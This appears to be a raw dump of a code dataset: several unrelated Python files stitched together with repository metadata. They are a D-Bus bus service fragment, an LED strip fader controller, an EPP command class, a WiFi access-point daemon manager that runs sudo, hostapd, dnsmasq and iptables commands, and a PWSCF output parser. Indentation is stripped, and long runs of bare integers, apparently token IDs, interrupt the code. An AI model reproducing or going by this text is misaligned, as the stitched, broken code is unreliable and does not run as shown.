in_signature='', out_signature='a{su}')
def list_agents(self, agent_id):
log.debug("LIST_AGENTS: %s", agent_id)
#: maps agent name to number of instances of this agent
counts = dict(Counter(objpath.rsplit('/', 1)[1] for objpath in
self.clients.values()))
return counts
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='ss', out_signature='a(su)u')
def processed_stats(self, agent_id, desc_domain):
log.debug("PROCESSED_STATS: %s %s", agent_id, desc_domain)
if not format_check.is_valid_domain(desc_domain):
return []
return self.store.processed_stats(str(desc_domain))
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='sssb', out_signature='as')
def get_children(self, agent_id, desc_domain, selector, recurse):
log.debug("GET_CHILDREN: %s %s:%s", agent_id, desc_domain, selector)
if not format_check.is_valid_domain(desc_domain):
return []
if not format_check.is_valid_fullselector(selector):
return []
descs = self.store.get_children(str(desc_domain), str(selector),
recurse=bool(recurse))
return [desc.serialize_meta(serializer) for desc in descs]
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='ss', out_signature='')
def store_internal_state(self, agent_id, state):
agent_name = self.agentnames[str(agent_id)]
log.debug("STORE_INTSTATE: %s", agent_name)
if self.store.STORES_INTSTATE:
self.store.store_agent_state(agent_name, str(state))
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='s', out_signature='s')
def load_internal_state(self, agent_id):
agent_name = self.agentnames[str(agent_id)]
log.debug("LOAD_INTSTATE: %s", agent_name)
if self.store.STORES_INTSTATE:
return self.store.load_agent_state(agent_name)
return ""
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='sssas', out_signature='')
def request_processing(self, agent_id, desc_domain, selector, targets):
log.debug("REQUEST_PROCESSING: %s %s:%s targets %s", agent_id,
desc_domain, selector, [str(t) for t in targets])
if not format_check.is_valid_domain(desc_domain):
return
if not format_check.is_valid_fullselector(selector):
return
d = self.store.get_descriptor(str(desc_domain), str(selector))
self.userrequestid += 1
self.targeted_descriptor(agent_id, desc_domain, d.uuid, selector,
targets, self.userrequestid)
@dbus.service.signal(dbus_interface='com.airbus.rebus.bus',
signature='ssss')
def new_descriptor(self, sender_id, desc_domain, uuid, selector):
pass
@dbus.service.signal(dbus_interface='com.airbus.rebus.bus',
signature='ssssasb')
def targeted_descriptor(self, sender_id, desc_domain, uuid, selector,
targets, user_request):
"""
Signal sent when a descriptor is sent to some target agents (not
broadcast).
Useful for:
* Forcefully replaying a descriptor (debug purposes, or user request)
* Feeding descriptors to a new agent. Used when resuming the bus.
* Interactive mode - user may choose which selectors get send to each
agent
:param sender_id: sender id
:param desc_domain: descriptor domain
:param uuid: descriptor uuid
:param selector: descriptor selector
:param targets: list of target agent names. Agents not in this list
should ignore this descriptor.
:param user_request: True if this is a user request targeting agents
running in interactive mode.
"""
pass
@dbus.service.signal(dbus_interface='com.airbus.rebus.bus',
signature='b')
def bus_exit(self, awaiting_internal_state):
"""
Signal sent when the bus is exiting.
:param awaiting_internal_state: indicates whether agents must send
their internal serialized state for storage.
"""
self.exiting = True
return
@dbus.service.signal(dbus_interface='com.airbus.rebus.bus',
signature='')
def on_idle(self):
"""
Signal sent when the bus is idle, i.e. all descriptors have been
marked as processed or processable by agents.
"""
pass
@classmethod
def run(cls, store, master_options):
gobject.threads_init()
dbus.glib.init_threads()
DBusGMainLoop(set_as_default=True)
bus = dbus.SessionBus()
name = dbus.service.BusName("com.airbus.rebus.bus", bus)
svc = cls(bus, "/bus", store)
svc.mainloop = gobject.MainLoop()
log.info("Entering main loop.")
try:
svc.mainloop.run()
except (KeyboardInterrupt, SystemExit):
if len(svc.clients) > 0:
log.info("Trying to stop all agents properly. Press Ctrl-C "
"again to stop.")
# stop scheduler
svc.sched.shutdown()
# ask slave agents to shutdown nicely & save internal state
log.info("Expecting %u more agents to exit (ex. %s)",
len(svc.clients), svc.clients.keys()[0])
svc.bus_exit(store.STORES_INTSTATE)
store.store_state()
try:
svc.mainloop.run()
except (KeyboardInterrupt, SystemExit):
if len(svc.clients) > 0:
log.info(
"Not all agents have stopped, exiting nonetheless")
log.info("Stopping storage...")
store.store_state()
@staticmethod
def _sigterm_handler(sig, frame):
# Try to exit cleanly the first time; if that does not work, exit.
# raises SystemExit, caught in run()
sys.exit(0)
@staticmethod
def add_arguments(subparser):
# TODO allow specifying dbus address? Currently specified by local dbus
# configuration file or environment variable
pass
def _busthread_call(self, method, *args):
gobject.idle_add(method, *args)
def _sched_inject(self, agent_id, desc_domain, uuid, selector, target):
"""
Called by Sched object, from Timer thread. Emits targeted_descriptor
through bus thread.
"""
self._busthread_call(
self.targeted_descriptor,
*(agent_id, desc_domain, uuid, selector, [target], False))
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] |
ledstripcontroller.py | mattytrentini/led_strip | 5 | 177383 | import uasyncio as asyncio
class LedStripController:
def __init__(self, enc, button_pin, fader_pins):
''' enc should be an instance of Encoder.
button_pin is expected to be an instance of machine.Pin.
fader_pins is expected to be an iterable of machine.PWM's.
'''
self.enc = enc
self.is_on = False
self.enc_cur_val = 511
self.fader_target_val = 0
self.button_pin = button_pin
self.fader_pins = fader_pins
self.button_pressed = False
for fader in self.fader_pins:
fader.duty(0)
def toggle_led_state(self):
self.button_pressed = True
print('Button pressed!')
async def switch_loop(self, enc):
self.button_pressed = False
while True:
if self.button_pressed:
# TODO should removedebouncing; should be handled outside of this class.
# Shouldn't care that it's a button that triggers the change...
asyncio.sleep_ms(100) # Debounce duration
# Only alter state if button still pressed (not a transient event)
if not self.button_pin.value():
if self.is_on:
# Turning off, fading out
print('Turning off at {}'.format(self.enc_cur_val))
self.fader_target_val = 0
else:
# Turning on, fading in
print('Turning on at {}'.format(self.enc_cur_val))
self.fader_target_val = enc._value = self.enc_cur_val
self.button_pressed = False
self.is_on = not self.is_on
await asyncio.sleep_ms(100)
async def encoder_loop(self, enc):
oldval = 0
while True:
if self.is_on:
self.enc_cur_val = enc.value
enc.cur_accel = max(0, enc.cur_accel - enc.accel)
if oldval != self.enc_cur_val:
print('Old enc. val: %i, new enc. val: %i' % (oldval, self.enc_cur_val))
self.fader_target_val = oldval = self.enc_cur_val
await asyncio.sleep_ms(50)
async def fader_loop(self):
FADER_MAX_STEP = 5
FADER_DELAY_MS = 5
fader_cur_val = 0
while True:
if self.fader_target_val > fader_cur_val:
step = min(FADER_MAX_STEP, self.fader_target_val - fader_cur_val)
elif self.fader_target_val < fader_cur_val:
step = -min(FADER_MAX_STEP, fader_cur_val - self.fader_target_val)
else:
step = 0
fader_cur_val += step
if abs(step) > 0:
for fader in self.fader_pins:
fader.duty(fader_cur_val)
await asyncio.sleep_ms(FADER_DELAY_MS)
| [
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] |
proceduralbricks/main.py | jncraton/procedural-bricks | 0 | 71547 | from random import random
from buildings import ModularBuilding
def main():
building = ModularBuilding()
with open('test.ldr', 'w') as out:
out.write(building.to_ldr())
if __name__ == '__main__':
main() | [
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registrobrepp/ipnetwork/brtransferipnetworkcommand.py | ivcmartello/registrobrepp | 0 | 144810 | <reponame>ivcmartello/registrobrepp<gh_stars>0
from eppy.doc import EppTransferCommand
class BrEppTransferIpNetworkCommand(EppTransferCommand):
_path = ('epp', 'command', 'transfer', 'ipnetwork:transfer')
def __init__(self, op: str, roid: str):
extra_nsmap = {'ipnetwork': 'urn:ietf:params:xml:ns:ipnetwork-1.0'}
super(BrEppTransferIpNetworkCommand, self).__init__(op=op, extra_nsmap=extra_nsmap)
self.roid = roid
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2
] |
uniflex_module_wifi_flex/ap_daemons.py | wishful-project/wishrem_wifi_flex | 0 | 163392 | import logging
import datetime
import os
import signal
import subprocess
__author__ = "<NAME>"
__copyright__ = "Copyright (c) 2017, Faculty of Electrical Engineering and Information Technologies, UKIM, Skopje, Macedonia"
__version__ = "0.1.0"
__email__ = <EMAIL>"
'''
ap_daemons class
Controlling the daemon processes used for automation of (re)configuration and communication of the WiFi devices.
'''
class ap_daemons():
def __init__(self, interface, macaddr, ipaddr, dnsserver, country):
'''
Initialization of the ap_daemons module
Args:
interface: the used interface
macaddr: MAC address of the interface
ipaddr: IP address to assign to the interface
dnsserv: IP address of used DNS server
country: country code for regulation (e.g. DE)
'''
self.log = logging.getLogger('AP_daemons')
self.interface = interface
self.macaddr = macaddr
self.ipaddr = ipaddr
self.dnsserver = dnsserver
self.country = country
self.hostap_interface = None
self.dnsmasq_pid = None
self.hostapd_pid = None
self.dhclient_pid = None
def start_hostapd(self, config):
'''
Starts hostapd daemon based on configuration in the config dictionary
Args:
config['channel']: the channel to be used
config['ssid']: the SSID to be used
config['hw_mode']: the hw_mode to be used
config['ht_capab']: the ht_capab to be used
'''
self.hostap_interface = '/tmp/hostapd-' + self.interface # needed to stop hostapd daemon if exists
self.stop_hostapd()
self.hostap_interface = '/tmp/hostapd-' + self.interface # reset since stop_hostapd sets it to None
hapd_str = ("driver=nl80211\n"
"logger_syslog=127\n"
"logger_syslog_level=0\n"
"logger_stdout=127\n"
"logger_stdout_level=0\n"
"country_code={}\n"
"ieee80211d=1\n"
"ieee80211h=1\n"
"hw_mode={}\n"
"channel={}\n"
"interface={}\n"
"ctrl_interface={}\n"
"preamble=1\n"
"wmm_enabled=1\n"
"ignore_broadcast_ssid=0\n"
"uapsd_advertisement_enabled=1\n"
"auth_algs=1\n"
"wpa=0\n"
"ssid={}\n"
"wds_sta=1\n"
"bssid={}").format(self.country, config['hw_mode'], config['channel'], self.interface, self.hostap_interface, config['ssid'], self.macaddr)
if config['ht_capab']: #todo
hapd_str += ("\nieee80211n=1\n"
"ht_capab={}\n").format(config['ht_capab'])
hapd_file = "hostapd" + self.interface + ".conf"
with open(hapd_file, 'w+') as x_file:
x_file.write(hapd_str)
try:
cmd_str = "echo 3600 | sudo tee /proc/sys/net/ipv4/neigh/default/gc_stale_time"
self.run_command(cmd_str)
except Exception as e:
self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e))
try:
cmd_str = "sudo hostapd -B -P " + self.hostap_interface + ".pid " + hapd_file
self.run_command(cmd_str)
cmd_str = "sudo rm " + hapd_file
self.run_command(cmd_str)
except Exception as e:
self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e))
self.hostap_interface = None
return False
self.log.info("Started hostapd daemon...")
return True
def stop_hostapd(self):
'''
Stops hostapd daemon process.
'''
pid = None
if self.hostap_interface is not None:
try:
with open(self.hostap_interface + '.pid', 'r') as f: pid = f.readline()
if pid is not None:
cmd_str = "sudo kill -15 " + pid
self.run_command(cmd_str)
except Exception as e:
self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e))
self.hostap_interface = None
return False
self.hostap_interface = None
self.log.info("Stopped hostapd daemon...")
return True
def hostapd_running(self):
'''
Checks if hostapd daemon is running.
'''
if self.hostap_interface is not None:
return True
else: return False
def start_dnsmasq(self):
'''
Starts dnsmasq daemon for the interface self.interface using the dnsserver self.dnsserver
'''
self.dnsmasq_pid = '/tmp/dnsmasq-' + self.interface + '.pid' # needed to stop dnsmasq daemon if exists
self.stop_dnsmasq()
self.dnsmasq_pid = '/tmp/dnsmasq-' + self.interface + '.pid' # reset since stop_dnsmasq sets it to None
try:
cmd_str = "sudo ip addr flush dev " + self.interface
self.run_command(cmd_str)
cmd_str = "sudo ip addr add " + self.ipaddr + " dev " + self.interface
self.run_command(cmd_str)
except Exception as e:
self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e))
return False
addr_split = self.ipaddr.split(".")
addr_base = addr_split[0] + "." + addr_split[1] + "." + addr_split[2]
addr_range = addr_base + ".2," + addr_base + ".254,12h"
addr_last = addr_split[3].split("/")
#try:
# cmd_str = "sudo killall dnsmasq"
# self.run_command(cmd_str)
#except Exception as e:
# self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e))
gateway_interface = None
try:
[rcode, sout, serr] = self.run_command("route | grep '^default' | grep -o '[^ ]*$'")
if sout:
sout_arr = sout.split("\n")
gateway_interface = sout_arr[0].strip()
except Exception as e:
self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e))
return False
print(gateway_interface)
if gateway_interface is not None:
dns_str = ("no-resolv\n"
"interface={}\n"
"except-interface=lo\n"
"bind-interfaces\n"
"dhcp-range={}\n"
"server={}").format(self.interface, addr_range, self.dnsserver)
dns_file = "dnsmasq" + self.interface + ".conf"
with open(dns_file, 'w+') as x_file:
x_file.write(dns_str)
try:
cmd_str = "sudo dnsmasq -x " + self.dnsmasq_pid + " -C " + dns_file
self.run_command(cmd_str)
cmd_str = "sudo rm " + dns_file
self.run_command(cmd_str)
except Exception as e:
self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e))
self.dnsmasq_pid = None
return False
try:
cmd_str = ("iptables --flush && "
"iptables --table nat --flush && "
"iptables --delete-chain && "
"iptables --table nat --delete-chain && "
"iptables --table nat --append POSTROUTING --out-interface {} -j MASQUERADE && "
"iptables --append FORWARD --in-interface {} -j ACCEPT && "
"sysctl -w net.ipv4.ip_forward=1").format(gateway_interface, self.interface)
self.run_command(cmd_str)
except Exception as e:
self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e))
return False
self.log.info("Started dnsmasq daemon...")
return True
def stop_dnsmasq(self):
'''
Stops dnsmasq daemon process.
'''
pid = None
if self.dnsmasq_pid is not None:
try:
with open(self.dnsmasq_pid, 'r') as f: pid = f.readline()
if pid is not None:
cmd_str = "sudo kill -15 " + pid
self.run_command(cmd_str)
except Exception as e:
self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e))
self.dnsmasq_pid = None
return False
self.dnsmasq_pid = None
self.log.info("Stopped dnsmasq daemon...")
return True
def dnsmasq_running(self):
'''
Checks if dnsmasq is running.
'''
if self.dnsmasq_pid is not None:
return True
else: return False
def dhclient_renew(self):
'''
Starts a dhclient daemon on the interface self.interface.
'''
self.dhclient_pid = "/var/run/dhclient-" + self.interface + ".pid" # needed to stop dhclient daemon if exists
self.dhclient_stop()
self.dhclient_pid = "/var/run/dhclient-" + self.interface + ".pid" # reset since dhclient_stop sets it to None
gateway_interface = None
try:
[rcode, sout, serr] = self.run_command("route | grep '^default' | grep -o '[^ ]*$'")
if sout:
sout_arr = sout.split("\n")
gateway_interface = sout_arr[0].strip()
except Exception as e:
self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e))
if gateway_interface is not None:
try:
cmd_str = "sudo dhclient -r " + gateway_interface + " && sudo dhclient " + gateway_interface + " -nw"
print(cmd_str)
self.run_command(cmd_str)
except Exception as e:
self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e))
try:
cmd_str = "sudo dhclient -r " + self.interface + " -pf " + self.dhclient_pid + " && sudo dhclient " + self.interface + " -pf " + self.dhclient_pid + " -nw"
print(cmd_str)
self.run_command(cmd_str)
except Exception as e:
self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e))
return False
self.log.info("dhclient renew successfull...")
return True
def dhclient_stop(self):
'''
Stops the dhclient daemon on the interface self.interface.
'''
pid = None
if self.dhclient_pid is not None:
try:
with open(self.dhclient_pid, 'r') as f: pid = f.readline()
if pid is not None:
cmd_str = "sudo kill -15 " + pid
self.run_command(cmd_str)
except Exception as e:
self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e))
self.dhclient_pid = None
return False
self.dhclient_pid = None
self.log.info("Stopped dhclient daemon...")
return True
def stop_network_manager(self):
'''
Stops the network-manager service if running.
'''
try:
cmd_str = "sudo service network-manager stop"
self.run_command(cmd_str)
except Exception as e:
self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e))
return False
self.log.info("Network manager stopped...")
return True
def get_hostap_interface(self):
'''
Returns the hostap control interface.
'''
return self.hostap_interface
def run_command(self, command):
'''
Runs system commands.
'''
sp = subprocess.Popen(command, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, shell=True)
out, err = sp.communicate()
if False:
if out:
self.log.debug("standard output of subprocess:")
self.log.debug(out)
if err:
self.log.debug("standard error of subprocess:")
self.log.debug(err)
if err:
raise Exception("An error occurred in AP_daemons run_command: %s" % err)
return [sp.returncode, out.decode("utf-8"), err.decode("utf-8")]
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882,
29918,
17590,
29922,
29896,
29905,
29876,
29908,
29871,
13,
12,
12,
12,
29908,
5150,
29918,
284,
3174,
29922,
29896,
29905,
29876,
29908,
29871,
13,
12,
12,
12,
29908,
29893,
3274,
29922,
29900,
29905,
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29908,
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13,
12,
12,
12,
29908,
893,
333,
3790,
1012,
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13,
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12,
29908,
29893,
6289,
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5173,
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29890,
893,
333,
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2564,
4830,
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1311,
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13509,
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2295,
1839,
26828,
29918,
8513,
7464,
2295,
1839,
12719,
7464,
1583,
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13248,
29892,
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3069,
481,
29918,
13248,
29892,
2295,
1839,
893,
333,
7464,
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29889,
8628,
10030,
29897,
13,
13,
12,
12,
361,
2295,
1839,
400,
29918,
5030,
370,
2033,
29901,
396,
29873,
8144,
13,
12,
12,
12,
29882,
481,
29881,
29918,
710,
4619,
4852,
29905,
2786,
3905,
29947,
29900,
29906,
29896,
29896,
29876,
29922,
29896,
29905,
29876,
29908,
13,
12,
12,
12,
12,
29908,
400,
29918,
5030,
370,
3790,
1012,
29876,
2564,
4830,
29898,
2917,
1839,
400,
29918,
5030,
370,
11287,
13,
13,
12,
12,
29882,
481,
29881,
29918,
1445,
353,
376,
3069,
481,
29881,
29908,
718,
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13248,
718,
11393,
5527,
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13,
12,
12,
2541,
1722,
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481,
29881,
29918,
1445,
29892,
525,
29893,
29974,
1495,
408,
921,
29918,
1445,
29901,
13,
12,
12,
12,
29916,
29918,
1445,
29889,
3539,
29898,
29882,
481,
29881,
29918,
710,
29897,
13,
13,
12,
12,
2202,
29901,
13,
12,
12,
12,
9006,
29918,
710,
353,
376,
8057,
29871,
29941,
29953,
29900,
29900,
891,
9196,
734,
29872,
847,
15439,
29914,
9675,
29914,
1212,
29914,
666,
29894,
29946,
29914,
484,
1141,
29914,
4381,
29914,
27354,
29918,
303,
744,
29918,
2230,
29908,
13,
12,
12,
12,
1311,
29889,
3389,
29918,
6519,
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710,
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13,
12,
12,
19499,
8960,
408,
321,
29901,
13,
12,
12,
12,
1311,
29889,
1188,
29889,
2704,
703,
8875,
18390,
29892,
4589,
29918,
7645,
29901,
6571,
1642,
4830,
29898,
12673,
29889,
12673,
29889,
3707,
3285,
321,
876,
13,
13,
12,
12,
2202,
29901,
13,
12,
12,
12,
9006,
29918,
710,
353,
376,
15360,
3495,
481,
29881,
448,
29933,
448,
29925,
376,
718,
1583,
29889,
3069,
481,
29918,
13248,
718,
11393,
5935,
376,
718,
447,
15926,
29918,
1445,
13,
12,
12,
12,
1311,
29889,
3389,
29918,
6519,
29898,
9006,
29918,
710,
29897,
13,
12,
12,
12,
9006,
29918,
710,
353,
376,
15360,
20241,
376,
718,
447,
15926,
29918,
1445,
13,
12,
12,
12,
1311,
29889,
3389,
29918,
6519,
29898,
9006,
29918,
710,
29897,
13,
12,
12,
19499,
8960,
408,
321,
29901,
13,
12,
12,
12,
1311,
29889,
1188,
29889,
2704,
703,
8875,
18390,
29892,
4589,
29918,
7645,
29901,
6571,
1642,
4830,
29898,
12673,
29889,
12673,
29889,
3707,
3285,
321,
876,
13,
12,
12,
12,
1311,
29889,
3069,
481,
29918,
13248,
353,
6213,
13,
12,
12,
12,
2457,
7700,
13,
13,
12,
12,
1311,
29889,
1188,
29889,
3888,
703,
4763,
287,
3495,
481,
29881,
1146,
9857,
856,
1159,
13,
12,
12,
2457,
5852,
13,
13,
12,
1753,
5040,
29918,
3069,
481,
29881,
29898,
1311,
1125,
13,
12,
12,
12008,
13,
12,
12,
855,
3554,
3495,
481,
29881,
1146,
9857,
1889,
29889,
13,
12,
12,
12008,
13,
12,
12,
5935,
353,
6213,
13,
12,
12,
361,
1583,
29889,
3069,
481,
29918,
13248,
338,
451,
6213,
29901,
13,
12,
12,
12,
2202,
29901,
13,
12,
12,
12,
12,
2541,
1722,
29898,
1311,
29889,
3069,
481,
29918,
13248,
718,
15300,
5935,
742,
525,
29878,
1495,
408,
285,
29901,
23107,
353,
285,
29889,
949,
1220,
580,
13,
12,
12,
12,
12,
361,
23107,
338,
451,
6213,
29901,
13,
12,
12,
12,
12,
12,
9006,
29918,
710,
353,
376,
15360,
12088,
448,
29896,
29945,
376,
718,
23107,
13,
12,
12,
12,
12,
12,
1311,
29889,
3389,
29918,
6519,
29898,
9006,
29918,
710,
29897,
13,
12,
12,
12,
19499,
8960,
408,
321,
29901,
13,
12,
12,
12,
12,
1311,
29889,
1188,
29889,
2704,
703,
8875,
18390,
29892,
4589,
29918,
7645,
29901,
6571,
1642,
4830,
29898,
12673,
29889,
12673,
29889,
3707,
3285,
321,
876,
13,
12,
12,
12,
12,
1311,
29889,
3069,
481,
29918,
13248,
353,
6213,
13,
12,
12,
12,
12,
2457,
7700,
13,
12,
12,
1311,
29889,
3069,
481,
29918,
13248,
353,
6213,
13,
12,
12,
1311,
29889,
1188,
29889,
3888,
703,
20754,
2986,
3495,
481,
29881,
1146,
9857,
856,
1159,
13,
12,
12,
2457,
5852,
13,
13,
12,
1753,
3495,
481,
29881,
29918,
21094,
29898,
1311,
1125,
13,
12,
12,
12008,
13,
12,
12,
5596,
29879,
565,
3495,
481,
29881,
1146,
9857,
338,
2734,
29889,
13,
12,
12,
12008,
13,
12,
12,
361,
1583,
29889,
3069,
481,
29918,
13248,
338,
451,
6213,
29901,
13,
12,
12,
12,
2457,
5852,
13,
12,
12,
2870,
29901,
736,
7700,
13,
13,
12,
1753,
1369,
29918,
29881,
1983,
8247,
29939,
29898,
1311,
1125,
13,
12,
12,
12008,
13,
12,
12,
4763,
29879,
270,
1983,
8247,
29939,
1146,
9857,
363,
278,
5067,
1583,
29889,
13248,
773,
278,
270,
1983,
2974,
1583,
29889,
29881,
1983,
2974,
13,
12,
12,
12008,
13,
12,
12,
1311,
29889,
29881,
1983,
8247,
29939,
29918,
5935,
353,
8207,
7050,
29914,
29881,
1983,
8247,
29939,
29899,
29915,
718,
1583,
29889,
13248,
718,
15300,
5935,
29915,
396,
4312,
304,
5040,
270,
1983,
8247,
29939,
1146,
9857,
565,
4864,
13,
12,
12,
1311,
29889,
9847,
29918,
29881,
1983,
8247,
29939,
580,
13,
12,
12,
1311,
29889,
29881,
1983,
8247,
29939,
29918,
5935,
353,
8207,
7050,
29914,
29881,
1983,
8247,
29939,
29899,
29915,
718,
1583,
29889,
13248,
718,
15300,
5935,
29915,
396,
10092,
1951,
5040,
29918,
29881,
1983,
8247,
29939,
6166,
372,
304,
6213,
13,
12,
12,
2202,
29901,
13,
12,
12,
12,
9006,
29918,
710,
353,
376,
15360,
10377,
28915,
28371,
2906,
376,
718,
1583,
29889,
13248,
13,
12,
12,
12,
1311,
29889,
3389,
29918,
6519,
29898,
9006,
29918,
710,
29897,
13,
12,
12,
12,
9006,
29918,
710,
353,
376,
15360,
10377,
28915,
788,
376,
718,
1583,
29889,
666,
10030,
718,
376,
2906,
376,
718,
1583,
29889,
13248,
13,
12,
12,
12,
1311,
29889,
3389,
29918,
6519,
29898,
9006,
29918,
710,
29897,
13,
12,
12,
19499,
8960,
408,
321,
29901,
13,
12,
12,
12,
1311,
29889,
1188,
29889,
2704,
703,
8875,
18390,
29892,
4589,
29918,
7645,
29901,
6571,
1642,
4830,
29898,
12673,
29889,
12673,
29889,
3707,
3285,
321,
876,
13,
12,
12,
12,
2457,
7700,
13,
12,
12,
13,
12,
12,
10030,
29918,
5451,
353,
1583,
29889,
666,
10030,
29889,
5451,
17350,
1159,
13,
12,
12,
10030,
29918,
3188,
353,
28915,
29918,
5451,
29961,
29900,
29962,
718,
376,
1213,
718,
28915,
29918,
5451,
29961,
29896,
29962,
718,
376,
1213,
718,
28915,
29918,
5451,
29961,
29906,
29962,
13,
12,
12,
10030,
29918,
3881,
353,
28915,
29918,
3188,
718,
11393,
29906,
1699,
718,
28915,
29918,
3188,
718,
11393,
29906,
29945,
29946,
29892,
29896,
29906,
29882,
29908,
13,
12,
12,
10030,
29918,
4230,
353,
28915,
29918,
5451,
29961,
29941,
1822,
5451,
11974,
1159,
13,
13,
12,
12,
29937,
2202,
29901,
13,
12,
12,
29937,
12,
9006,
29918,
710,
353,
376,
15360,
12088,
497,
270,
1983,
8247,
29939,
29908,
29871,
13,
12,
12,
29937,
12,
1311,
29889,
3389,
29918,
6519,
29898,
9006,
29918,
710,
29897,
13,
12,
12,
29937,
19499,
8960,
408,
321,
29901,
13,
12,
12,
29937,
12,
1311,
29889,
1188,
29889,
2704,
703,
8875,
18390,
29892,
4589,
29918,
7645,
29901,
6571,
1642,
4830,
29898,
12673,
29889,
12673,
29889,
3707,
3285,
321,
876,
13,
12,
12,
13,
12,
12,
17062,
1582,
29918,
13248,
353,
6213,
13,
12,
12,
2202,
29901,
13,
12,
12,
12,
29961,
29878,
401,
29892,
13267,
29892,
724,
29878,
29962,
353,
1583,
29889,
3389,
29918,
6519,
703,
13134,
891,
12680,
525,
29985,
4381,
29915,
891,
12680,
448,
29877,
525,
22896,
4514,
29394,
29915,
1159,
13,
12,
12,
12,
361,
13267,
29901,
29871,
13,
12,
12,
12,
12,
29879,
449,
29918,
2749,
353,
13267,
29889,
5451,
14182,
29876,
1159,
13,
12,
12,
12,
12,
17062,
1582,
29918,
13248,
353,
13267,
29918,
2749,
29961,
29900,
1822,
17010,
580,
13,
12,
12,
19499,
8960,
408,
321,
29901,
13,
12,
12,
12,
1311,
29889,
1188,
29889,
2704,
703,
8875,
18390,
29892,
4589,
29918,
7645,
29901,
6571,
1642,
4830,
29898,
12673,
29889,
12673,
29889,
3707,
3285,
321,
876,
13,
12,
12,
12,
2457,
7700,
13,
12,
12,
12,
12,
13,
12,
12,
2158,
29898,
17062,
1582,
29918,
13248,
29897,
13,
12,
12,
361,
28646,
29918,
13248,
338,
451,
6213,
29901,
13,
12,
12,
12,
29881,
1983,
29918,
710,
353,
4852,
1217,
29899,
9778,
29894,
29905,
29876,
29908,
13,
12,
12,
12,
12,
29908,
13248,
3790,
1012,
29876,
29908,
13,
12,
12,
12,
12,
29908,
19499,
29899,
13248,
29922,
417,
29905,
29876,
29908,
13,
12,
12,
12,
12,
29908,
5355,
29899,
1639,
8726,
29905,
29876,
29908,
13,
12,
12,
12,
12,
29908,
12744,
6814,
29899,
3881,
3790,
1012,
29876,
29908,
13,
12,
12,
12,
12,
29908,
2974,
3790,
29913,
2564,
4830,
29898,
1311,
29889,
13248,
29892,
28915,
29918,
3881,
29892,
1583,
29889,
29881,
1983,
2974,
29897,
13,
13,
12,
12,
12,
29881,
1983,
29918,
1445,
353,
376,
29881,
1983,
8247,
29939,
29908,
718,
1583,
29889,
13248,
718,
11393,
5527,
29908,
13,
12,
12,
12,
2541,
1722,
29898,
29881,
1983,
29918,
1445,
29892,
525,
29893,
29974,
1495,
408,
921,
29918,
1445,
29901,
13,
12,
12,
12,
12,
29916,
29918,
1445,
29889,
3539,
29898,
29881,
1983,
29918,
710,
29897,
13,
12,
12,
12,
12,
12,
13,
12,
12,
12,
2202,
29901,
13,
12,
12,
12,
12,
9006,
29918,
710,
353,
376,
15360,
270,
1983,
8247,
29939,
448,
29916,
376,
718,
1583,
29889,
29881,
1983,
8247,
29939,
29918,
5935,
718,
376,
448,
29907,
376,
718,
270,
1983,
29918,
1445,
13,
12,
12,
12,
12,
1311,
29889,
3389,
29918,
6519,
29898,
9006,
29918,
710,
29897,
13,
12,
12,
12,
12,
9006,
29918,
710,
353,
376,
15360,
20241,
376,
718,
270,
1983,
29918,
1445,
13,
12,
12,
12,
12,
1311,
29889,
3389,
29918,
6519,
29898,
9006,
29918,
710,
29897,
13,
12,
12,
12,
19499,
8960,
408,
321,
29901,
13,
12,
12,
12,
12,
1311,
29889,
1188,
29889,
2704,
703,
8875,
18390,
29892,
4589,
29918,
7645,
29901,
6571,
1642,
4830,
29898,
12673,
29889,
12673,
29889,
3707,
3285,
321,
876,
13,
12,
12,
12,
12,
1311,
29889,
29881,
1983,
8247,
29939,
29918,
5935,
353,
6213,
13,
12,
12,
12,
12,
2457,
7700,
13,
13,
12,
12,
12,
2202,
29901,
13,
12,
12,
12,
12,
9006,
29918,
710,
353,
4852,
21278,
1849,
1192,
23126,
2607,
376,
13,
12,
12,
12,
12,
12,
29908,
21278,
1849,
1192,
2371,
14033,
1192,
23126,
2607,
376,
13,
12,
12,
12,
12,
12,
29908,
21278,
1849,
1192,
8143,
29899,
14153,
2607,
376,
13,
12,
12,
12,
12,
12,
29908,
21278,
1849,
1192,
2371,
14033,
1192,
8143,
29899,
14153,
2607,
376,
13,
12,
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] |
labs/lab2/analyze.py | asmhatre96/nano266 | 15 | 170158 | <gh_stars>10-100
#!/usr/bin/env python
import re
import sys
import csv
import argparse
# This defines the patterns for extracting relevant data from the output
# files.
patterns = {
"energy": re.compile(r"total energy\s+=\s+([\d\.\-]+)\sRy"),
"ecut": re.compile(r"kinetic\-energy cutoff\s+=\s+([\d\.\-]+)\s+Ry"),
"alat": re.compile(r"celldm\(1\)=\s+([\d\.]+)\s"),
"nkpts": re.compile(r"number of k points=\s+([\d]+)"),
"total_force": re.compile(r"Total force =\s+([\d\.]+)")
}
def get_results(filename):
data = {}
with open(filename) as f:
for l in f:
for k, p in patterns.items():
m = p.search(l)
if m:
data[k] = float(m.group(1))
continue
return data
def analyze(filenames):
fieldnames = ['filename', 'ecut', 'nkpts', 'alat', 'energy','total_force']
with open('results.csv', 'w') as csvfile:
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
writer.writeheader()
for f in filenames:
r = get_results(f)
r["filename"] = f
writer.writerow(r)
print("Results written to results.csv!")
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description='''Tool for analysis of PWSCF calculations.''')
parser.add_argument(
'filenames', metavar='filenames', type=str, nargs="+",
